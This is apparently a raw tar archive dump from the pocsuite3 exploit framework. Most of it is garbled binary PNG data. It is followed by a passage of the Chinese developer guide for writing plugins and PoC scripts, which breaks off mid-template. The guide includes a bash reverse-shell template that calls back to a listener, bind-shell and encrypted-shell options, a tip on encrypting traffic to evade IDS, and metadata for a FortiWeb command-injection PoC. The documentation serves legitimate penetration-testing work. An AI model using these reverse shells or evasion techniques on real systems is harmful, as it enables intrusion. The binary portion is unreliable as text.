*j=~i}2lLڂFc~$cp oDb; iJG{zvB<=sZJ%{HJI !uYA2*RBolSNf#p7RPnfJJ-T;8~U^Xd2͘1CܔaTJUrvmƮE#vU2tS*++.OzBfْک\#^P? J?# |mʃ &99ΙðwaUwanhWgG/ K."1ml".e]GEO?u6׭c" ECb1pSyruQAv ,Kw$B\LJj-Z~ᇭc+O2/s!J|p}Ic? !gN!gΜ9^{-OKweN;mɴRD>Hzڴv^xaEE ?<#O?4K!8ٱ?O2vZ0'Kv`0'Vv UU1}q.uX3F=CL՗jAU[dy@6k!=:#;&DU;k]-_hn>KkGyn:G3oiTgsDJ sOV{Rplga2b)Sj.ؼ)h}}'W@zT4َMg}xXbk:-Yǒ!:NRڭ*ʤCJ ul!{YHtM LNS#ee(orS#:kdA>,Q;H(djC-+oB9RyPy\r%|2y()I4"0fr>_tmvіӤ+O<+Y6L4o<'q2!-TVV{`5W6k0DK7 ƪ*cMMGNrW^=3Nomk/٭R=L8v3=k}in-y:ezr4оI | 9loH>E_1fR9)fG{{\@>-((-og MVdК+9dep0hdpE6 y2f2Q?r ]\P 1|Y5Rjy  2M!mV[mED0 / O(N´b!7ēat Y ! _PX,C C#_qBZ$C\VPX&CVfƍ/ԋJʵNykA|chWyDVnB/b>y`'LV9sJv=5pe05493%ʠysG5`=O(˯ogjકO?mG"_AEU/> !̠ d@o\ d//kvy!HPNhllKI:K~D&C,GLg&( =͝a gfɴ1ds$ $᧟~3L)% 8)iF?۩\TO>!~/j*d} aM.hPUyϑ]m(            0l,#)*)݋Fd^)ê26 %KR2}ez-Ieh^{ZM`TtuTы0/Yow!, w"9O,s-&:I/4ѻxE,CY]q?xUU՜9s4|XVm _Xnjjܥ*RU^(9:[pl2XvI@d+O+I/b^2̛\Vg3od j{D3ڹs:kdυlW?V:T[Ww*[Eg\ŢL"{Rڌugu -,}ԜmaCk+2mA4]lFf"C:5sWZNPT;Bcby*=hfL t=k`c1#\CZ8io:N;$ec [9j.)!L ~aQ~_~Q4iw\.lIʝ6moswQ>QM$![XȤQBi-\{dm3NYS# jn:s衇R7ߜ=P{!"܇禔XY 6dz;qbJ:uʉ[J~ n͚{ 77 BѼlR "GVT:w=!w17/oc/{X^}]a@)q BҢ'iff5e6w)_N bNQ )Dcc=#YB*l\|dAb @DIYTVV*<ݷ(B6tSE͜9Sv8xOy;kec=F9c^`{Ɗ~> ㏩g'Gblv uubr /\xS`Lkn֮QJt8jn5z^zIL??nb5`%J 5_+$D('oV3- &ߧFޡ d0{y9)M1***(An3>vۍp&90K)܁z:}t%555r m>bPdr7 oŊQBoy 9=) )yΠ3KzkQ4V[щ 8 ۩\ Q,h>^zIQϑd C{9uM¹w奔pAe'&ˮfwRܲpaw9vܑ 2Sтni1MMR y1r\DF:;!ai5 x&^\kB% 8gJK*bþfL~zU軑X3YfṰbҚfG|P*ȢbOz8-ZȗfR:>2BU ;s:$o{wJ&*0ydXQWNjSO=E']tёG)'u]i(jZ Ga Ab6E(C2.[GJRS@6n 98,C %UmCaQA@ |Zc!؂|K_2z[ߐ}n4wr1O4nTT!ߜR馃,3 Bɯ ,+%sa7׍pb#u9ʌ]&F7Co>ڪ( \2 !㠃"\2eRlr0c ![bL6<+̼ZB$d2~x]\Jy.36yw}7(             fzd=ӈ%!`2QYjC]0(3f2t.6 i=&ϒ%KVZuWr7T@( E!?dbBQ{!             qe_r.6N.#_8*~#/m+}0:-&mմ~o g{ȥg_] ¥f̘WXK/[ɰHuA?bA@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IDAT@@@@@@@@@@@@?{nGU/|I%!"J @@&(ՀH T DitwB~/59{s^g^{7kP@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@. LpC3f/r&P@>"h ( ( ök'*.~oJqP@h sj+ (ra-/ P@P@P@P@P@P@P@P@ `XF_˶QP@P@P@P@P@P@P@ ЯeÇW_?~|ޔFXV)6CkXo{Z=6aCb {GG<:b ?xtqGG쐿ܗh{vig,X]n5jQlҗ{H ( &a?ѣF37`aÆe+oᆉ'?Yf#Gfe *.>}(^vYP@z?&`b7ӆMЁ,RK-{_zUYz ( ( (@_˿ar[*fmVZi7 mX/WP?~oїQk7W97R@P 'Nnzpv__}GsQ@P@P@(_]haÆb^}N*Uu>+_MѧݣnDQtn (@g j]r%5jԗ_~Qbhܸqr qnjSy* ( ( ( t/# 0੧괺YN𫚝@Tq&.gÆ@P@@ aCzꩧb^:E4>aP@P@P@P _/yi_=nxĵv?ȳ67P@Sֆ.P@P@P@P@P@P@P@Pm-hnf飏>z놛~%|_z>f:묓'O~rޥ2x\oaǏ?fV2Ua+ ( t!C>y1?!q& G,رci7<̨Q~~cS5Nh* (2f`r)D\DʿUYC,' Eu)cyv>WM7t̻kuGGy䭷zQGe(5-ܒ1"'L(:[Sk?ɹ*3KWOb>!YlRF U ( (S/,čf.DBd,}ѷrKf}dMx}=~ߝgyb8Yr˝|\8hРuY'([`{s)=r{:Яj hFI$,ڢlÖ/党 ( (Zk-ƥ<?y饗s9_ofofpa5\Omڋe Mn~'۔q]1X<;fN_馛FMb-ƨ"[l+2[_T ^S1bvm?0̢.g q3dpofY)g"fbs3 ( n 0a5ȟӄZ ꫯV[mxl^5Cw}7x:,L8e2sM34l.,SeUbk5UTsijYCެYPgLLz,DآByXP@z@e 2E~`}ꩧ1A.( 䙀xi&n\/̜sM; ,@5eT³ l;|42~k==+S* (}Y;,RB38ag_Wc a<-A@pxSI6xbXxb2ȊG /EgQ? -1\:~:4\ٰ>Jٰ6aM\OoQ-WP@:Af|%1S͢_{5}J(G1|ek.l  5,B^xYgz6lQ ׇwO;Gzh ( (@I<ȣxDZp7+"dWքù2\z+wße'wCK-BP@ 1C;' ֺҨKfbsH?,\tM!QOJYYt{!ti֧/t[LRS6l?0Ϯ\oآ6j[ ( ] a/"^gu{ebge6d^"ȋE adwCe+<>f=CdCn}ӑSO֪mآ8qrx1r-Ӗd{PmTP@PUr);sx, .^f2wc9~{;vl^EV[mwmgS|u䖷 P@4>fȿbQډ#BؒXzc^LlNɘcã>7QuYne(q)x)Y),0l%&V5ٰ6ahQ7[ ( t@^brWڼ{2ӌ3H<0\~弢og袋\suI'1]gi&of;oĉLO.2Yyvi WYeK.~{%XbV81 [T>Gyw,mYd ? 2_T@P@z\Y{뭷xMɲ.;`ɸK&+{.Cٳ>X^ܘTk@w0%wvXs521 |]w5ιeaqrken ( t@O3uQׄ ´3Yj$ 5=`-ޜ&R^s5lM5sh^Xs5^`b &\}w뮚+qϜtGMx6Mig&Z!j( (@[Ay)F_?w}?xb#[o="XYM&R/|WL1G>d&M~G?Ȥ"3?pY40+oBzzk>1c+=:>-y8+*@4aP@P j'^vee%|ȑ#ç `uz.0mi6uUo՚2Fԭ8U1P@:J'Xc`U8,Wu.HYXzyc^LlKsɈiۙ}gkfr%\8=.&%!~/++q$+VTl³alWO<ӯ7Ѣ/VIP@:HG 摾׉,RLQ9.#洨5a &&Κ3P^3Oed&N}jW(Npy",a2(. j* e^A˜pv袋˼ &( ( ( ( ( ( ( (@G 2}%y/ɀ^1c+VFP@P@P@P@P@P@P@zT )M;}Y^e2hР\(^xa'|IRr0 ( (@oJQjoQ{-]P@ L0C i (w<3}mKP@P@P@.ovA%rO)}4[ (-h"PP@P@P@P@P@P@P@ elP@P@P@P@P@P@P@P ^k1||^}Mkeb{Hљ=ָ7eq&}.+ (@o1=:k$0cy 66lXn8qbse9rdQ#Te2T(Xaszgg'P7(c3aCb {GG<:b ?MQ M|k=Ge~>}(ftYP@:_`*2@;vlxi6a„f? _~G}7e=$txf}z,ϴikxtxt#GG?: ۮ}|ڮO޷eP@P Lc &|ͣu59zjS $ ' l&T@P@P@haۀmʷKR(EiGtP@Jo*JeMʊ4[$퉡tѻl ( ( (@7lvoo>JQjoQ{-]P@R,5w3W@P@P@P@P@P@P@P@a}vpP@P@P@P@P@P@P@(Wr}]P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@T [;p!CO?m8'Ͼ+N7t&MI;>j:hР?0E9)~y晧_~|I~&韖gzLuY9ܾ曆S6̪hV*mc*jR2,RK-{^z"M_s-\nz^Z4lJQx||>{ySL1Ż[^)͹:giɓ'|%^U&CȳuV=y?jI~dR^Onՙ wCz߰ewۃk[pd騕5+>JP@z@U_zߎ;/n8'w4=ؿ/?pNѦn>uY]vY~rRr Zhޛd_ݙoxnfYPMh%;]]\:eR\\b-8\z饏=5\m[o|ꫯw}Z9S 5e]8wy 7|͹e׿s%%hv>w}w;[Fn+E]{Y?V{9UҷRC3p/&y7nnpo0ɚ_0*y뭷.n-9Ӧ/~5\5Sz}!?G [swqe.n/\*_ :a/} ( 8aml%\\F/󫑞2?|c ; /@A~5S7|<5O&SO=5O?<)G7:rO;aĂk֍˔s,zWi:~4m).o~9*kyg}6}Xg񹑼~q<.%=%[%8_ZQCXl굽떕8nܸ[n?gq1cdmaEwD7Ԅ# 0੧ %kwav\5T[ZT-sN}2VYedA3DžeoCETbU-jo,|KTbCz괕bH tZͭ ( ( (@@)[vC'k JO0's=S IS_WL!ā:ø 5\F8b bzs.Pa&U˯4<@<xȒg}6^\u>ÉH)"'M0\Givq7mQ|;9=e}ӖR? -"#.n]wݵV#?lZ %,#Tn8Zާܣ%欼[3*TepEҗjtj Lie ^{Cj[^5?i΁08dQ3ݒn*OnkK=<;JO/30@eR#/{ｐ?pbZ[V7[ _.)?9s/LǺ6#=ϔ'gM>#8VV.?ԬZ 3W@P@P@(I2Jjs n dT3%7BxxE ̿Jh=3 34QF46Aꪫ~M0aX?O%127p)'x(O4'2C avz?ҿ1=w"O>,ϛo+\2W\֧$}}ݝ Eo&(d$ œ4}}w^640?M9m:駟~z뫗㏏;6یg.R{/3 TgpMyR^,g@{֡@>\<MgȆyZh^MH SVRt$o1 j$}PZ;+ $*<,WXaFm$ ;y Sac~aFd$׈le-pI02 :oVjU8Ó'7d%o*YL%cj:{1K(q 6+BzʚW,/J 3e0zӞ~iYaraEKO PzH|X%g0C ͍QT7KAŮ+61f=idH ?sR>jə6TwG֊R eB;u]>btd䷥,ߋߖi{J!h&I5E , =9LO/o$\- $VdE'&Ӫ  P BcB%LMoQzB 7 ( 2̖<ϼaG qtӗdyy筹D9Iy%3MxjNthyM6kWn;6R?XIB1m-g]}=Ӕ2 RbwߝCZVd'y Q sL/h!Ίя~-mz&wʹm`$}չТoyJNK>餓Hp]vǙԲO':pnv!pM0[xm2ԇyBl ^{[}abmf=}5z뭙K/ 8-rԨQV|Sg&g `ʘ&nVSCۏ'yUuq|-ғo֣:*gy/9 3<ɩ_j,%uHid)ybxW3mz)YRRzHO,KPow%mITF={Jzö 2 [Tr|2zr͒5RpٿD)?a>쳐9y _\r P%gÑ@qM-Ӝ^:j}_Us+ bG 2Ĕ߰)-Jo{VOP@P/ !,cV"q\s9'Vͤ,,;rDf{{2 #:=eZkEݩ7@E&,t;X;~|ɲ?q^ziʚ 9) V:rg\=D{7Wy,#Ϝ}qwp-A[oBjx )>?O$>}نaE{UYzx4[,pf}}:!6=eQvZTqp/;WԐV\$>uY"bH@Q )Wƹ*Zx7f׳-W^a' 8d] +~f9g۸0b*1[ Brz|gn&kQ 7!&O\"ky\5dm2s q;vUlE/_8qbQEdOq8kqØ}J9!b)+6gJ_Š n߆sH˃(^ ^~t5ȊY(SzH3 lcL[E'/tMGhND/b 6+ʴ,0UY?W3,#eS.gWB9w1 Y&|Q chagBy&~w41J9=Oÿ3Xz^x M.Dms,2ꙸߩCҳj,4q֝/h8?ޢ3&ʧ^Dzr♶-Jl8H~G)\Jb2pYgkG=?c؎]~gz: VL@XTw\bo,v+ (@ x߹&*W՗ez9~|'&=ey/< :*O?E]\ x΃f*ItqIsRb´ܢ9r.裏/~ 5+sOȳfA+<190M=A 'j9)?ϓ!17C>+謳 gkD(1c}q^KGns56;ץg3s7*bOJ?*NYxA ¡PVTy8rND1MkMGEU}#tEA\e//e8P>gKgL/tgf 6/q>YUDnC\TV֖eM,xncbВɊ;so0+'LN8L1K Anzi QtNU{Hh~,:CR:_s T^ ٖßcynYQVz GuNgEYRON?ӶEYK\raW|_}@4'#- rH'/d^VX7cBDq)ӿa[PM (R2[n\wYq6iv, SV9BRn_uUH!qgȧuȧ~Z 6ıb%, ޢobP@Mީjڂp;ˁ,s,[S;F)grnd=EtW>%e!.0q[:ans>-#Ϝ*>⁛x ԹCp?c5} r~tKBw^CSB9=˥[qܒ~8,p vCDUQanz&=5)dnQ3 Oga27qҹ N@ e Q1Yux.N~kҗR̫.{܅_Z_zV!%@> bHSd94<O rM]Ƴ%qzzkRK/%Q56YmpN^ёժX,ÔEP bg ™/GEKob$S>_F) 5"HSnQ}8wyXmoXDN0 uH|`.'&> 'x9_/7.x:F̥a5<ۤzÄہg67CHI 8Yuq_ߟ@瞮V/KUE)+63/2LIBHy&]wݕ,5YȩXG00[υmBwzcaxFHP)_/T|T'_D8m6,,5b%9228os9Ro/Svi0K/ %eMwGӣv?B{uͻ`;· 12:a%^N[WO9Ekj+N@-jNhfoד5 5ahQѮ£AV@p-y睙NgH {Hbۛ량dzSm 2WחҿҿSfaHm ( Ayc}-\gɯdz8L.qr?^][~ 'NO^zNJ+Q'h78M8?=KV o`2Nnۯ_?B@0G:WrS6rd&n{E?Ób8 5e(fƅ^;(q95zE-TӖ[;;.ij*^So{sJװbÜ?R8=yraqL#nG_ :¡t /vһ8HeZ~_|Xϙ1@oӸW+ 'Ya?ְ>|w K5kծ ;lNg~׬|W򲃉' oϪ{YoQz{|O 2c'Fx`\FoxtQ2zrO{+3Rev+5ę_NK!:AMgIÅ@2KY72RzH +Bz!ԚEl;C7sr"( ', Xv+=nN֐0){JY&FZoe*Y3Q^F=+ ;2F@5!('iKjQze] 9_j0h)Tđ@o {HBa/A-R@zcBGq*1e7lzSs ( )~ WyP ug{\HLMFKg}&6ddMWx\xyF N 뫗SVopMz6̡:AJ,.M:0tI/dnpcPGLt8XsTkRO6,g͂jlaF=䓏<_cfȑ#Ld)$qee!nO6SOuY} ^h$F:,B^rz!ဪ((^$Asg,N8Ntx7|3gT:?oRH>ް5\;SBXuޤҫˊ@w ^A9sdgەtl#qR&`M^{J[H@{~ѣyU!N@sf yQt-6lBMXrcd\e/pl =Й^z2~ C8L~!7W/fTn1:dz=G:,qXgE=;wq5άR@,>V,}|zo=Ķ+ (@&aRv)-/?*͕,.[dSr{>ܡgCe]eR'pws':;wyk'*=eUr~=Skp 8ފٟ<?_)D 0hd !ԃg˲59 )dByWQkKgsZMd@ UMrS&ϬE} k{b>}'6p1e-}Ts}p(p-L@`lCFTV0[,l!/1LX[23'1"N^[Zh 9l+ C a!sG r2XI{|p` 'Ê9z-dI}I&w#ڦE-)+ؒ%~nre+KbQ訨m?t *"6*Hۄb.>_Y(iyV,!Yg?9 ,Xz"]_ ǹ5\~;1]Jܫ +=.z9Lz`ُ4!,~>T&gzM(^۩U^]_ϐ ޥEz/,׳~o|fȁE/ u+ VT>(':Ӗ"EL*4Lѯ~+ \;.Kؒvf;"BL FCaϟU? tf Yb26E)l ( ( LQsg~3V3qI+J]RO9Kɓ+Lʽ4n "V '}1YQEb&3`''HLOYs9Lټfɔ*V,}S&~æ(=e}Tt+ (M tDf4) ( T/!l9dO7) ( ( ( ( (@ Ptn5 ( (c;8Aꪫ ixE>袋2o- ( ( ( ( ( (@@~ ( tQ.< /Rl Acƌ/"+ ( ( ( ( (лZ7x` {l ( (@7q>,24hЂ .H /0~O>yҤIPP@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@P@zT [0t1cL<_n (G<3m3P@P@P@^ ovD%rO)}4[ (-a^s5 0 Pxf;ږ* ( (=]߰ڃʷKR(EiGtP@Z.8,E ( ( ( ( ( ( ( ( {6* ( ( ( ( ( ( (@u5XcǏכ2*&X3{Hu qoVx&X#,Cb{HaGGXãã#}Rm׎?-tr˭}T->Mr\V@P@$P#,c=ztHal0lذl 70q2,3rlG0e-Q`5r Nn#Q,9Of3ò36?xtqH9: T[Rz}Q ( tUd2vN;m„ aˏ>(^oXC%{H:((Yi=#GGXãã#t]Hvɇ#]%Go.+ (@O"$LGjsԦZoHOL ( ( (ö"o|{u?tQR{Ӹo ( *P%&7TʚiSz@ICw#:P@P@P@!ov&%rO)}4[ ( LYjf ( ( ( ( ( ( ( Y2쮷 ( ( ( ( ( ( ( (Pa ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( )TkmlSM5СC 6* ( ( ( ( ( ( (Ч {WmZk{?/Io)2iҤ~M P@P@P@P@P@P@P@h- S`gw}YgP#z뭖W`Yg+|m/l"gsP@P@P@P@P@P@P@W^\A{O/6l,=si=Sz|U@P@P@P@P@P@P@P9)̭:A0`UW]v}%Uie]o"ͭP@P@P@P@P@P@P@(OlL3ͼL L /38",'|8);οڕfYgi^zǷ ( ( ( ( ( ( (@zѪ?_|q<"*? -:'toȶ=묳cOS2W1'N3fW_}Ŷ7pM7ݴZkQ~:6E)x 'pKܪ]ɘ8[iW,WP@P@P@P@P@P@P@$0e;s9gE^R&Ob2zk&W##16l3DG ɓ''|ךuKoQz8O>]w믿Nܤ-ɖ]vYywҖ X ( ( ( ( ( ( (=]nX.mkv~uH$m#M%~{&)y{秝v=ETĔ(=e~C}ʫ[}!N?P@P@P@P@P@P@P@P 曧~wܑЇc9߿[_F3!"n_x o3mb[43=/6a%˿aHm;sAuQaF P@P@P@P@P@P@P@_fHG=kg|,O;=ЅZ(^C[o]QŚĔ>_| 3CE ע SVoz뱣Wy+ ( ( ( ( ( ( (@G ˘gyj馛.+o mXge[,{Z4!cVyyIg=31%55+duꩧVЄUW]53E) -.믿,U$f3H7S( ( ( ( ( ( ( (ЋOlDE]/&;|^{5x yQFe/1aq{n0z_~;3]^zge}B(z#Yf|]wݵtI'*wOS%XbVێ<ȐgzSƵM\[oqHܰf>:{} L3 ٛG`jnXo%!#梋.:sib}DDP@P@P@P@P@P@P@13Ns9:=\~ӟ (ׯbe'pP>n$&hm= 5 ( ( ( ( ( ( (mU` ^/2x{_h,xI5k.'}YB*S2 ,0so'ޢ5 L^rSziڲ~ee4{/ ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( (: u; 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0`;y~+6IENDB`pocsuite3-2.0.3/docs/000077500000000000000000000000001440624615500143715ustar00rootroot00000000000000pocsuite3-2.0.3/docs/CODING.md000066400000000000000000001163361440624615500156700ustar00rootroot00000000000000# This document has stopped maintenance, please move to https://pocsuite.org Pocsuite3 开发文档及 PoC 编写规范及要求说明 --- * [概述](#overview) * [插件编写规范](#write_plugin) * [TARGETS 类型插件](#plugin_targets) * [POCS 类型插件](#plugin_pocs) * [RESULTS 类型插件](#plugin_results) * [PoC 编写规范](#write_poc) * [PoC python 脚本编写步骤](#pocpy) * [可自定义参数的 PoC](#可自定义参数的插件) * [PoC 编写注意事项](#attention) * [Pocsuite3 远程调用文件列表](#inclue_files) * [通用API列表](#common_api) * [通用方法](#api_common) * [参数调用](#api_params) * [PoC 代码示例](#PoCexample) * [PoC Python 代码示例](#pyexample) * [Pocsuite3 集成调用](#pocsuite_import) * [PoC 规范说明](#PoCstandard) * [PoC 编号说明](#idstandard) * [PoC 命名规范](#namedstandard) * [PoC 第三方模块依赖说明](#requires) * [PoC 结果返回规范](#resultstandard) * [extra 字段说明](#result_extara) * [通用字段说明](#result_common) * [漏洞类型规范](#vulcategory) ### 概述
本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明，包含了插件、PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试，在阅读本文档前，请先阅读 [《Pocsuite3 使用文档》](./USAGE.md)。或参考 https://paper.seebug.org/904/ 查看 Pocsuite3 的一些新特性。 ### 插件编写规范
Pocsuite3 共有三种类型的插件，定义在 `pocsuite3.lib.core.enums.PLUGIN_TYPE` 中。 #### TARGETS 类型插件
TARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能，例如从 redis 或数据库加载 targets ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import logger from pocsuite3.api import register_plugin class TargetPluginDemo(PluginBase): category = PLUGIN_TYPE.TARGETS def init(self): targets = ['www.a.com', 'www.b.com'] # load from redis, database ... count = 0 for target in targets: if self.add_target(target): count += 1 info_msg = "[PLUGIN] get {0} target(s) from demo".format(count) logger.info(info_msg) register_plugin(TargetPluginDemo) ``` #### POCS 类型插件
POCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能，例如从 redis 或数据库加载 PoC 脚本代码 ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import logger from pocsuite3.api import register_plugin class TargetPluginDemo(PluginBase): category = PLUGIN_TYPE.POCS def init(self): pocs = [POC_CODE_1, POC_CODE_2] # load PoC code from redis, database ... count = 0 for poc in pocs: if poc and self.add_poc(poc): count += 1 info_msg = "[PLUGIN] get {0} poc(s) from demo".format(count) logger.info(info_msg) register_plugin(TargetPluginDemo) ``` #### RESULTS 类型插件
RESULTS 类型插件用来自定义检测结果的导出，例如导出 html 报表等 ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import logger from pocsuite3.api import get_results from pocsuite3.api import register_plugin class HtmlReport(PluginBase): category = PLUGIN_TYPE.RESULTS def init(self): debug_msg = "[PLUGIN] html_report plugin init..." logger.debug(debug_msg) def start(self): # TODO # Generate html report for result in get_results(): pass info_msg = '[PLUGIN] generate html report done.' logger.info(info_msg) register_plugin(HtmlReport) ``` 若需要实时的保存结果，需要申明 `handle` 来处理，可参考 https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py 的写法。 ### PoC 编写规范
#### PoC python 脚本编写步骤
本小节介绍 PoC python 脚本编写 Pocsuite3 仅支持 Python 3.x，如若编写 Python3 格式的 PoC，需要开发者具备一定的 Python3 基础 1. 首先新建一个 `.py` 文件，文件名应当符合 [《PoC 命名规范》](#namedstandard) 2. 编写 PoC 实现类 `DemoPOC`，继承自 `PoCBase` 类. ```python from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocsuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str class DemoPOC(POCBase): ... ``` 3. 填写 PoC 信息字段，**请认真填写所有基本信息字段** ```python vulID = '99335' # Seebug 漏洞收录ID，如果没有则为0 version = '1' # PoC 的版本，默认为1 author = 'seebug' # PoC 的作者 vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d) createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d) updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d) references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址，0day 不用写 name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称，建议命令方式：<厂商> <组件> <版本> <漏洞类型> appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址 appName = 'FortiWeb' # 漏洞应用名称 appVersion = '<=6.4.0' # 漏洞影响版本 vulType = 'Code Execution' # 漏洞类型，参见漏洞类型规范表 desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述 samples = ['http://192.168.1.1'] # 测试样列，就是用 PoC 测试成功的目标 install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写 pocDesc = ''' poc的用法描述 ''' dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork，如果运行 PoC 时不提供目标且该字段不为空，将会调用插件从搜索引擎获取目标。 suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则 suricata_response = '' # 响应流量 suricata 规则 ``` 4. 编写验证模式 ```python def _verify(self): output = Output(self) # 验证代码 if result: # result是返回结果 output.success(result) else: output.fail('target is not vulnerable') return output ``` 5. 编写攻击模式 攻击模式可以对目标进行 getshell，查询管理员帐号密码等操作，定义它的方法与检测模式类似 ```python def _attack(self): output = Output(self) result = {} # 攻击代码 ``` 和验证模式一样，攻击成功后需要把攻击得到结果赋值给 result 变量 **注意：如果该 PoC 没有攻击模式，可以在 \_attack() 函数下加入一句 return self.\_verify() 这样你就无需再写 \_attack 函数了。** 6. 编写shell模式 [**new**] Pocsuite3 在 shell 模式会默认监听 `6666` 端口，编写对应的攻击代码，让目标执行反向连接运行 Pocsuite3 系统 IP 的 `6666` 端口即可得到一个 shell ```python def _shell(self): cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()) # 攻击代码 execute cmd ``` shell 模式下，只能运行单个 PoC 脚本，控制台会进入 shell 交互模式执行命令及输出 从 ***1.8.5*** 版本开始，Pocsuite3 支持 bind shell。shell 模式和原来的操作方式一致，也需要指定监听 ip 和端口，监听 ip 可以是本地任意 ip，也可以是远程 vps ip。 bind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`，原理是实现了一个中间层，一端连接漏洞目标的 bind shell（如 telnet 服务、nc 启动的 shell、php 一句话等），另一端连接用户指定的监听 ip 和端口，如此一来，shell 模式可以不受网络环境限制，支持在内网使用。 目前支持三种 bind shell，使用场景如下： `bind_shell`：通用方法，在 shell 模式中直接调用 `return bind_shell(self, rce_func)` 即可，非常便捷。针对有回显的漏洞，在 PoC 中实现一个 rce（函数名可自定义）方法，函数参数为命令输入，输出为命令输出。如果漏洞无回显，也可以通过写一句话转为有回显的。值得一提的是，用户也可以在 rce 方法中实现流量的加解密以逃避 IDS 检测。 `bind_tcp_shell`：对 tcp 绑定型 shell 的原生支持，在 shell 模式中 `return bind_tcp_shell(bind_shell_ip, bind_shell_port)` `bind_telnet_shell`：对 telnet 服务的原生支持，在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)` 从 ***1.8.6*** 版本开始，Pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令（也可以用代码反弹），并且在运行时指定 `--tls` 选项。 7. 结果返回 不管是验证模式或者攻击模式，返回结果 result 中的 key 值必须按照下面的规范来写，result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard) ``` 'Result':{ 'DBInfo' : {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx' , 'Uid':'xxx' , 'Groupid':'xxx'}, 'ShellInfo': {'URL': 'xxx', 'Content': 'xxx' }, 'FileInfo': {'Filename':'xxx','Content':'xxx'}, 'XSSInfo': {'URL':'xxx','Payload':'xxx'}, 'AdminInfo': {'Uid':'xxx' , 'Username':'xxx' , 'Password':'xxx' } 'Database': {'Hostname':'xxx', 'Username':'xxx', 'Password':'xxx', 'DBname':'xxx'}, 'VerifyInfo':{'URL': 'xxx' , 'Postdata':'xxx' , 